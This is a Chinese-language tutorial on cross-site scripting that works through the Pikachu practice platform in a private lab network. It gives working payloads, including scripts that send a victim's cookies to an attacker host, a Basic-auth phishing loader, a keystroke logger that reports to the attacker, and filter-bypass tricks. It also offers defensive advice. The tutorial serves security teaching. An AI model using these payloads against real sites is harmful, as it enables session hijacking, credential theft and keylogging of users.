概述
簡介
XSS是一種發生在Web前端的漏洞,所以其危害的對象也主要是前端用戶
XSS漏洞可以用來進行釣魚攻擊、前端js挖礦、盜取用戶cookie,甚至對主機進行遠程控制
攻擊流程
假設存在漏洞的是一個論壇,攻擊者將惡意的JS代碼通過XSS漏洞插入到論文的某一頁面中
當用戶訪問這個頁面時,都會執行這個惡意的JS代碼,這個代碼就會在用戶的瀏覽器端執行
XSS攻擊類型
危害:存儲型 > 反射型 > DOM型
- 反射型:交互的數據一般不會被存在數據庫里面,一次性,所見即所得,一般出現在查詢頁面等
- 存儲型:交互的數據會被存在數據庫里面,永久性存儲,一般出現在留言板,注冊等頁面
- DOM型:不與后台服務器產生數據交互,是一種通過DOM操作前端代碼輸出的時候產生的問題,一次性,也屬於反射型
XSS形成原因
形成XSS漏洞的主要原因是程序中輸入和輸出的控制不夠嚴格
導致“精心構造”的腳本輸入后,在輸出到前端時被瀏覽器當作有效代碼解析執行
XSS漏洞測試流程
① 在目標上找輸入點,比如查詢接口、留言板
② 輸入一組 “特殊字符(>,',"等)+唯一識別字符” ,點擊提交后,查看返回源碼,看后端返回的數據是否有處理
③ 通過搜索定位到唯一字符,結合唯一字符前后語法確定是否可以構造執行js的條件(構造閉合)
④ 提交構造的腳本代碼(以及各種繞過姿勢),看是否可以成功執行,如果成功執行則說明存在XSS漏洞
反射型XSS(get)
我們先輸入“ '"<>6666 ” 用於測試我們的輸入會不會被過濾掉,因為有特殊字符
還有我們的輸入會不會被輸出,輸出會不會被處理
下面我們查看一下頁面源碼
我們的輸入被原封不動地輸出到了 p 標簽中
下面測試我們輸入的JS代碼,看是否會原封不動地輸出,payload如下
<script>alert("xss")</script>
由於前端對輸入長度做了限制,我們需要修改一下才能輸入完整的payload
提交之后發現我們的payload在瀏覽器上成功執行了
我們查看源碼可以發現,我們輸入的payload嵌入了到了 p 標簽里面
這又是正確的JS代碼,所以被瀏覽器正確執行了
這是一個簡單的反射型XSS,從前端輸入由后端接受再輸出
后端沒有對這個內容進行存儲
另外,這是一個GET型的XSS漏洞,一般將帶有XSS的URL偽裝后發送給目標即可
如果是POST型的XSS,無法直接使用URL的方式進行攻擊
XSS案例:盜取Cookie
實驗機器
- 攻擊者192.168.171.129
- 受害者192.168.171.1
- 漏洞服務器192.168.171.133
攻擊流程
先在Kali上搭建XSS后台,將pikachu項目源碼放到Kali機器的/var/www/html文件夾中
啟動MySQL和Apache服務
service apache2 start
service mysql start
Kali中MySQL的root賬號的密碼為root,可以根據實際情況配置 /var/www/html/pikachu/pkxss/inc/config.inc.php 中的數據庫信息
訪問 http://localhost/pikachu ,訪問管理工具里的XSS后台,初始化數據庫
看到下面的界面就是成功了
然后進入登錄界面、登錄
如果碰到連不上數據庫的情況,可以嘗試執行下面的命令
# 進入MySQL shell
mysql -u root -proot
# 增加權限
grant all privileges on *.* to 'root'@'%' identified by 'root';
# 刷新權限
flush privileges;
# 退出MySQL shell
quit
修改/var/www/html/pikachu/pkxss/xcookie下的cookie.php,將IP地址改為漏洞服務器的地址
cookie.php用於接收受害者的cookie,然后將頁面重定向到漏洞服務器的index頁面,我們構造的Payload如下
<script>document.location = 'http://192.168.171.129/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
當用戶提交的時候,我們就能取得用戶的Cookie
由於是GET類型的XSS漏洞,我們可以直接構造一個帶有Payload的URL,誘使受害者點擊就能取得Cookie
http://192.168.171.133/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.171.129%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
反射型XSS(post)
我們登錄一下,默認賬號密碼是admin 123456
會得到以下界面
這里是以POST的方式提交的,參數內容不會出現在URL中,可以抓包看一下
這時候我們不能直接把我們的惡意代碼嵌入到URL中
攻擊思路如下
我們需要自己搭一個惡意站點,然后在網站上放一個post表單
將存放POST表單的鏈接發送給受害者,誘導受害者點擊
這個POST表單會自動向漏洞服務器提交一個POST請求,實現受害者幫我們提交POST請求的目的
實驗機器:
攻擊者192.168.171.129
受害者192.168.171.1
漏洞服務器192.168.171.133
這個POST表單頁面是位於攻擊者的Kali機器上 /var/www/html/pikachu/pkxss/xcookie 下名為 post.html 的文件
我們需要修改里面 漏洞服務器 和 攻擊者 的服務器地址
post.html頁面的作用是:當用戶訪問這個頁面時,會自動向漏洞服務器發送POST請求,然后重定向到漏洞服務器的index頁面
http://192.168.171.129/pikachu/pkxss/xcookie/post.html
我們只需要誘導受害者點擊上面的鏈接就能竊取用戶的Cookie
存儲型XSS
存儲型XSS和反射型XSS形成的原因是一樣的,不同的是存儲型XSS下攻擊者的可以將腳本注入到后台存儲起來,構成更加持久的危害
我們試着在皮卡丘平台上的XSS上留言,看看是否有什么過濾機制
我們發現我們的留言會一直存在,而且從表現上我們輸入的內容直接輸出了
下面通過源碼觀察
我們輸入的東西,也直接輸出在 p 標簽中,看起來沒有經過任何轉義和處理
下面輸入下面的Payload進行測試
<script>alert("xss")</script>
成功彈窗
XSS案例:釣魚攻擊
我們這里用一個Basic認證去做這個釣魚攻擊
我們在一個存在XSS漏洞的頁面上面嵌入一個惡意請求,當用戶打開這個頁面時
這個頁面就會像攻擊者的服務器發送請求,這個請求會返回一個Basic認證的頭部
這時候會彈出一個提示框,要求受害者輸入賬號密碼,從而盜取用戶的賬號密碼
實驗機器
攻擊者192.168.171.129
受害者192.168.171.1
漏洞服務器192.168.171.133
首先攻擊者需要構造一個釣魚頁面,用來將發送Basic認證的認證框
修改 /var/www/html/pikachu/pkxss/xfish 下的 fish.php 文件,將IP地址改為攻擊者的服務器地址
構造的Payload如下
<script src="http://192.168.171.129/pikachu/pkxss/xfish/fish.php"></script>
當用戶訪問這個留言板時,會出現下面的認證框
上面已經提示密碼不會發給正在瀏覽的網站,如果用戶不注意還是可能上當
用戶輸入的賬號密碼就已經存到了我們的數據庫里
XSS案例:鍵盤記錄
實驗前先了解一下跨域
什么是跨域
當協議、主機(主域名、子域名)、端口中的任意一個不同時,稱為不同域
我們把不同域之間請求數據的操作,稱為跨域操作
跨域-同源策略
為了安全考慮,所有的瀏覽器都約定了“同源策略”。同源策略規定:
兩個不同域之間不能使用JS進行互相操作
比如:x.com 域名下的 JS 並不能操作 y.com 域下的對象
如果想要跨域操作,則需要管理員進行特殊配置
比如通過頭里面:header("Access-Control-Allow-Origin:x/com") 指定跨域的地址
下面的標簽跨域加載資源(資源類型時有限制的)是不受同源策略限制的
- <script src="...">,JS加載到本地執行
- <img src="..">,圖片
- <link href="..">,CSS
- <iframe src="..">,任意資源
為什么要同源策略
A登錄了淘寶,攻擊者向A發送了一個惡意鏈接http://盜取cookie
如果沒有同源策略,url上的js惡意操作A的內容
有了同源策略,就限制了這種狀況
或者,一個惡意站點A使用了 <iframe src="B站點登錄界面"> ,發送該惡意 url 給受害者
如果受害者瀏覽器如果沒有同源策略,那么 A 上的 JS 即可獲取 B 站點的登錄信息
實驗
Kali機器上先修改 /var/www/html/pikachu/pkxss/rkeypress 下 rk.js 中的IP地址為攻擊者地址
rk.js 是攻擊代碼,我們可以把這個 js 文件放到我們的惡意站點上,然后通過有 XSS 漏洞的頁面去調用
這個文件可以記錄用戶的鍵盤操作,然后異步發送給攻擊者
但是這個違背了同源策略,因為我們攻擊者的機器和漏洞服務器的主機是不一樣的
AJAX的請求默認情況下是不能跨域的,這個請求默認情況下是會失敗的
去 /var/www/html/pikachu/pkxss/rkeypress 中 rkserver.php 注釋掉下面的代碼
我們可以用下面的Payload測試一下
<script src="http://192.168.171.129/pikachu/pkxss/rkeypress/rk.js"></script>
提交之后打開控制台,看一下網絡請求,我們在頁面上隨便輸入一些東西,會有下面的提示
由於 192.168.171.129 是攻擊者自己搭建的平台,攻擊者可以允許所有人來跨域請求,下面我們把剛剛注釋的代碼打開
這時候再在瀏覽器上輸入東西,就沒有任何提示了,我們也在一直向攻擊者的服務器發送數據
攻擊者也收集到了我們的擊鍵信息
DOM型XSS
DOM可以理解為訪問HTML的標准接口,DOM里面會把我們的HTML分成一個DOM樹
我們可以以這棵樹為入口,通過DOM的某些方法對樹進行操作,比如對標簽的添加、改變和刪除等等
DOM這個東西相當於在前端提供了一個通過JS去對HTML進行操作的接口
下面我們在皮卡丘平台上的DOM型XSS上測試一下
輸入圖中的內容,觀察到如下輸出,發現和輸入的內容有區別
下面通過觀察頁面源碼
這里有段JS代碼,它通過 getElementById 獲取到了標簽 Id 為 text的內容賦值給str
然后又把 str 的內容通過字符串拼接的方式寫到了 a 標簽的 href 屬性中,a標簽會寫到 Id 為 dom的 div 標簽中
我們通過閉合的方式構造Payload
構造的Payload如下
#' onclick=alert("xss")>
成功彈窗
造成DOM型XSS的原因是前端的輸入被DOM給獲取到了,通過DOM又在前端輸出,跟反射型和存儲型比起來,它是不經過后台交互的
DOM型XSS-X
我們隨便輸入一些內容,會多出下面一句話
下面觀察下面源碼
這里也有個JS代碼,它定義了一個domxss函數
它利用 window.location.search 獲取瀏覽器中URL的內容,然后賦值給 str
然后經過URL解碼和字符串分隔,取出URL中的參數內容
再把 “+” 替換為 “ ”(空格),賦值給 xss
最后把 xss 拼接到 a 標簽中,然后寫到 Id 為 dom 的 div 標簽中
跟前面的DOM不同的是,它的輸入是從瀏覽器的URL中獲取的,很像反射型XSS(get)
構造的Payload跟剛才是一樣的
#' onclick=alert("xss")>
XSS之盲打
XSS盲打不是攻擊類型,而是一個攻擊場景
在皮卡丘平台上,我們隨便輸入一些東西
提交后我們輸入的內容不會在前對輸出,而是提交到了后台,可能管理員會去看
如果我們輸入一個JS代碼,管理員登錄后台管理界面,如果后台把我們的內容輸出
那后台管理員可能遭受到我們的XSS攻擊,我們提交以下內容
並登錄后台管理界面(賬號密碼為admin,123456)
http://192.168.171.133/pikachu/vul/xss/xssblind/admin_login.php
一登錄進來就遭受了XSS攻擊
XSS之過濾
實際中的系統,或多或少都會做一些安全措施,但是這些安全措施也能方法、邏輯不嚴謹,可以被繞過
轉換的思路
- 前端限制繞過,直接抓包重放,或者修改html前端代碼。比如反射型XSS(get)中限制輸入20個字符。
- 大小寫,比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正則表達式匹配,如果正則里面只匹配小寫,那就可能被繞過。
- 雙寫(拼湊),<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>標簽去掉換,但可能只去掉一次。
- 注釋干擾,<scri<!--test-->pt>alert(111)</sc<!--test-->ript>。加上注釋后可能可以繞過后台過濾機制。
編碼的思路
核心思路:
- 后台過濾了特殊字符,比如<script>標簽,但該標簽可以被各種編碼,后台不一定過濾
- 當瀏覽器對該編碼進行識別時,會翻譯成正常的標簽,從而執行
編碼應該在輸出點被正常識別和翻譯,不能隨便使用編碼。
例子:
<img src=x onerror=alert('xss')>
將alert('xss')進行URL編碼,可以執行嗎?
<img src=x onerror=alert%28%27xss%27%29>它並不會執行,因為屬性標簽並不會正常解析這些編碼
<img src=x onerror=alert('xss')>
將alert('xss')進行HTML編碼
<img src=x onerror=alert('xss')>當它輸出到前端的時候,瀏覽器會對這個編碼進行翻譯,從而彈窗
XSS繞過的姿勢很多,取決於你的思路和對前端技術的掌握程度
我們在皮卡丘平台上,輸入下面的內容看一下后台會怎么處理
可以看到我們輸入的<script>標簽被去掉了
嘗試用大小寫混合的方式看看能否繞過
<SCRIPT>alert(111)</sCRIpt>
這時候成功彈窗,后端只對小寫的script進行過濾
也可以用別的攻擊Payload,后台可能沒有做處理
<img src=x onerror=alert('xss')>
XSS之htmlspecialchars
關於htmlspecialchars()函數
htmlspecialchars()是PHP里面把預定義的字符轉換為HTML實體的函數
預定義的字符是
- & 成為 &
- " 成為 "
- ' 成為 '
- < 成為 <
- > 成為 >
可用引號類型
- ENT_COMPAT:默認,僅編碼雙引號
- ENT_QUOTES:編碼雙引號和單引號
- ENT_NOQUOTES:不編碼任何引號
我們在皮卡丘平台上輸入下面的內容,看一下后端是怎么處理的
我們輸入的內容經過了HTML編碼
可以看到 “ " ”,“ > ”和“ < ”都經過了編碼,剩下的字符沒有,單引號依然可以使用
我們可以構造下面的Payload,我們在Payload前后都添加一個單引號用於閉合 href 中的單引號
' onclick=alert(1111) '
XSS常見防范措施
總的原則:輸入做過濾,輸出做轉義
- 過濾:根據業務需求進行過濾,比如輸入點要求輸入手機號,則只允許輸入手機號格式的數字
- 轉義:所有輸出到前端的數據根據輸出點進行轉義,比如輸出到html中進行html實體轉義,輸入到JS里面進行JS轉義
XSS之href輸出
看一下xss_03.php的源碼
這個頁面會接收我們的輸入的message,然后判斷我們輸入的網址,如果輸入的不是百度會對我們輸入的內容用 htmlspecialchars() 進行處理
這個函數轉義單引號、雙引號和左右尖括號
然后輸出到 a 標簽的 href 屬性中,在 a 標簽的href屬性中,可以用javascript協議來執行JS
構造Payload如下,沒有上面被轉義的字符
javascript:alert(111)
提交后查看源碼,我們的輸入在 a 標簽的 href屬性中
此時點擊我們的標簽就會出現彈窗
如果要對 href 做處理,一般有兩個邏輯:
- 輸入的時候只允許 http 或 https 開頭的協議,才允許輸出
- 其次再進行htmlspecialchars處理
XSS之js輸出
我們隨便輸入一些東西,然后查看一下頁面源碼
它會把我們的輸入放到JS中,然后對這個變量進行判斷,然后再輸出
我們可以構造一個閉合,先用一個單引號和</script>閉合掉頁面中的<script>,然后再插入自己的JS代碼
'</script><script>alert('xss')</script>
這時候我們的JS也被執行了
這個漏洞的輸出點是在JS中,通過用戶的輸入動態生成了JS代碼
JS有個特點,它不會對實體編碼進行解釋,如果想要用htmlspecialchars對我們的輸入做實體編碼處理的話
在JS中不會把它解釋會去,這樣解決了XSS問題,但不能構成合法的JS
所以在JS的輸出點應該對應該使用 \ 對特殊字符進行轉義
XSS常見Payload
其他可以參考:https://www.cnblogs.com/xuehen/p/4814237.html
<script>alert("xss")</script>
<script>alert(document.cookie)</script>
<a href=javascript:alert(111)>
<body onload=alert('XSS')>
<img src=x onerror=alert(1)>
<div onclick="alert('xss')">